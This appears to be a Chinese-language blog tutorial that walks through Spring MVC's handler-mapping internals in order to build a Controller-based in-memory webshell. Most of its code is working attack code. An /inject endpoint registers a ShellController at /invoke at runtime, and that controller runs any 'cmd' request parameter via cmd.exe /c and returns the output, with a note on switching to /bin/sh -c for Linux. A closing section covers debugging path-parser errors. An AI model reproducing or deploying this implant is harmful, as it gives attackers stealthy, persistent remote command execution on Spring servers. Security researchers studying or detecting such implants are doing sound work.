Controller内存马
Controller作为SpringWeb框架中核心的参与部分,也可以在运行时被动态注册,若注册进去的是恶意类,则达到了注入内存马的效果
Controller注册流程
Spring在获取请求分配处理器时,调用了doDispatch()方法,该方法内部又调用了getHandler()方法,返回值被传递给了mappedHandler变量,而此时它已经通过请求路径定向到具体方法了

说明getHandler()中肯定通过什么获取了请求地址与方法之间的映射关系,现在的目标就是找到这个映射关系,步入getHandler()方法
@Nullable protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception { if (this.handlerMappings != null) { for(HandlerMapping mapping : this.handlerMappings) { HandlerExecutionChain handler = mapping.getHandler(request); if (handler != null) { return handler; } } }
return null; }
|
该方法从handlerMappings这个字段中遍历出mapping,再对其调用getHandler()方法,handlerMappings字段中存储着一些HandlerMapping对象,其中0号元素RequestingMappingHandlerMapping对象具有mappingRegistry字段,该字段的registry字段存储着我们想要的东西

RequestMappingHandlerMapping对象本身没有getHandler()方法,查找其父类RequestMappingInfoHandlerMapping也不具有该方法,继续查找其父类AbstractHandlerMethodMapping也不具有,继续查找其父类AbstractHandlerMapping,在该类中查找到该方法
该方法开头就调用了getHandlerInternal()方法,其返回值刚好就是目标方法

继续跟进getHandlerInternal(),由于AbstractHandlerMapping的该方法为抽象方法,RequestMappingHandlerMapping会调用与其继承关系最近的具有该方法的类,此处为RequestMappingInfoHandlerMapping,但是该方法又去调用了父类的getHandlerInternal()
@Nullable protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception { request.removeAttribute(PRODUCIBLE_MEDIA_TYPES_ATTRIBUTE);
HandlerMethod var2; try { var2 = super.getHandlerInternal(request); } finally { ProducesRequestCondition.clearMediaTypesAttribute(request); }
return var2; }
|
AbstractHandlerMethodMapping中,出现了熟悉的mappingRegistry,该方法实现通过请求路径查找对应的处理方法,通过lookupHandlerMethod取出方法对象
@Nullable protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception { String lookupPath = this.initLookupPath(request); this.mappingRegistry.acquireReadLock();
HandlerMethod var4; try { HandlerMethod handlerMethod = this.lookupHandlerMethod(lookupPath, request); var4 = handlerMethod != null ? handlerMethod.createWithResolvedBean() : null; } finally { this.mappingRegistry.releaseReadLock(); }
return var4; }
|
那么mappingRegistry在哪被赋值呢?我们又该如何正确地给mappingRegistry赋值?MappingRegistry下具有一个register()方法,该方法需要三个参数mapping、handler、method
public void register(T mapping, Object handler, Method method) { this.readWriteLock.writeLock().lock();
try { HandlerMethod handlerMethod = AbstractHandlerMethodMapping.this.createHandlerMethod(handler, method); this.validateMethodMapping(handlerMethod, mapping); Set<String> directPaths = AbstractHandlerMethodMapping.this.getDirectPaths(mapping);
for(String path : directPaths) { this.pathLookup.add(path, mapping); }
String name = null; if (AbstractHandlerMethodMapping.this.getNamingStrategy() != null) { name = AbstractHandlerMethodMapping.this.getNamingStrategy().getName(handlerMethod, mapping); this.addMappingName(name, handlerMethod); }
CorsConfiguration corsConfig = AbstractHandlerMethodMapping.this.initCorsConfiguration(handler, method, mapping); if (corsConfig != null) { corsConfig.validateAllowCredentials(); this.corsLookup.put(handlerMethod, corsConfig); }
this.registry.put(mapping, new MappingRegistration(mapping, handlerMethod, directPaths, name, corsConfig != null)); } finally { this.readWriteLock.writeLock().unlock(); }
}
|
该方法又被registerMapping()方法调用,后面获取RequestingMappingHandlerMapping可直接调用registerMapping()进行注册
public void registerMapping(T mapping, Object handler, Method method) { if (this.logger.isTraceEnabled()) { this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString()); }
this.mappingRegistry.register(mapping, handler, method); }
|
接下来,需要获取web环境中的mappingRegistry对象并调用register()方法,前面我们知道,mappingRegistry只是handlerMappings列表中的一个元素的字段,该列表在初始化方法中被赋值,其中一个添加元素的策略如下
HandlerMapping hm = (HandlerMapping)context.getBean("handlerMapping", HandlerMapping.class); this.handlerMappings = Collections.singletonList(hm);
|
显然,hm就是列表元素类型,可以依此获取前面的比如RequestingMappingHandlerMapping,现在的问题是如何获取context,context的类型是接口ApplicationContext的实现类,而DispatcherServlet类具有一个webApplicationContext字段(严格上是它的父类FrameworkServlet的字段),该字段为WebApplicationContext接口类型,是ApplicationContext的直接子接口。换言之,webApplicationContex就是当前Web环境下的上下文环境
构建Controller内存马
执行恶意命令的Controller
@RestController public class ShellController{ public String invoke() { ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); HttpServletRequest request = attributes.getRequest(); String cmd = request.getParameter("cmd"); ProcessBuilder processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd); StringBuilder result = new StringBuilder(); String output; try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK")); String line; while ((line = reader.readLine()) != null) { result.append(line).append("\n"); } output = result.toString(); } catch (IOException e) { throw new RuntimeException(e); } return output; } }
|
获取从当前请求WebApplicationContext、RequestMappingHandlerMapping
WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0); RequestMappingHandlerMapping handlerMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class);
|
动态注册Controller
RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration(); config.setPatternParser(handlerMapping.getPatternParser()); RequestMappingInfo mappingInfo = RequestMappingInfo .paths("/invoke") .methods(RequestMethod.GET) .options(config) .build();
ShellController shellController = new ShellController(); handlerMapping.registerMapping(mappingInfo, shellController, shellController.getClass().getMethod("invoke"));
|
Controller内存马全貌
@RestController public class IndexController {
@RequestMapping("/index") public String showIndex(){ return "Hello World!"; }
@RequestMapping("/inject") public String inject() throws NoSuchMethodException {
WebApplicationContext webApplicationContext = (WebApplicationContext) RequestContextHolder.getRequestAttributes().getAttribute(DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE, 0); RequestMappingHandlerMapping handlerMapping = webApplicationContext.getBean(RequestMappingHandlerMapping.class);
RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration(); config.setPatternParser(handlerMapping.getPatternParser()); RequestMappingInfo mappingInfo = RequestMappingInfo .paths("/invoke") .methods(RequestMethod.GET) .options(config) .build();
ShellController shellController = new ShellController(); handlerMapping.registerMapping(mappingInfo, shellController, shellController.getClass().getMethod("invoke"));
return "injected"; }
@RestController public class ShellController{ public String invoke() { ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); HttpServletRequest request = attributes.getRequest(); String cmd = request.getParameter("cmd"); ProcessBuilder processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd); StringBuilder result = new StringBuilder(); String output; try { Process process = processBuilder.start(); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK")); String line; while ((line = reader.readLine()) != null) { result.append(line).append("\n"); } output = result.toString(); } catch (IOException e) { throw new RuntimeException(e); } return output; } } }
|
该内存马是windows的测试环境,Linux环境下需要将终端目录修改至"/bin/sh",执行参数为"-c"
一些经历
起初学习Controller内存马是有跟着一些文章视频的,其中一些例子调用registerMapping()注册,为了传入mapping使用了弃用的构造器,这里随便放一例,实际上大多数构造器都被弃用了
@Deprecated public RequestMappingInfo(@Nullable PatternsRequestCondition patterns, @Nullable RequestMethodsRequestCondition methods, @Nullable ParamsRequestCondition params, @Nullable HeadersRequestCondition headers, @Nullable ConsumesRequestCondition consumes, @Nullable ProducesRequestCondition produces, @Nullable RequestCondition<?> custom) { this((String)null, patterns, methods, params, headers, consumes, produces, custom); }
|
这些构造器要求传入PatternsRequestCondition路径匹配条件对象,spring给这个路径对象配置的解析器是AntPathMatcher,而在较新的版本,Spring默认使用PathPatternParser作为解析器,两者在处理请求的逻辑上完全不同
如果在较新的SpringBoot版本使用旧解析器,会触发旧解析链中UrlPathHelper调用getResolvedLookupPath()尝试获取路径,但PathPatternParser解析路线不需要UrlPathHelper的参与,UrlPathHelper获取不到路径就会抛出异常
当时就经常抛出异常
java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".
|
问AI总是说什么线程不同步、手动设置PATH属性什么的,是在是不敢采纳,最后一步步调试在getMatchingMapping()方法中发现分别访问/inject和/invoke时RequestMappingInfo配置不一样
访问/inject路径,可以正常访问

访问/invoke路径,抛出异常

/inject采用了默认的pathPatternCondition,而/invoke采用的是旧的patternsCondition,这就是问题所在
解决方法是使用方法链的方式去构建mapping,这样可以指定解析器模式,该方法新旧通用,因为是直接获取了Spring的配置信息
RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration(); config.setPatternParser(handlerMapping.getPatternParser()); RequestMappingInfo mappingInfo = RequestMappingInfo .paths("/invoke") .methods(RequestMethod.GET) .options(config) .build();
|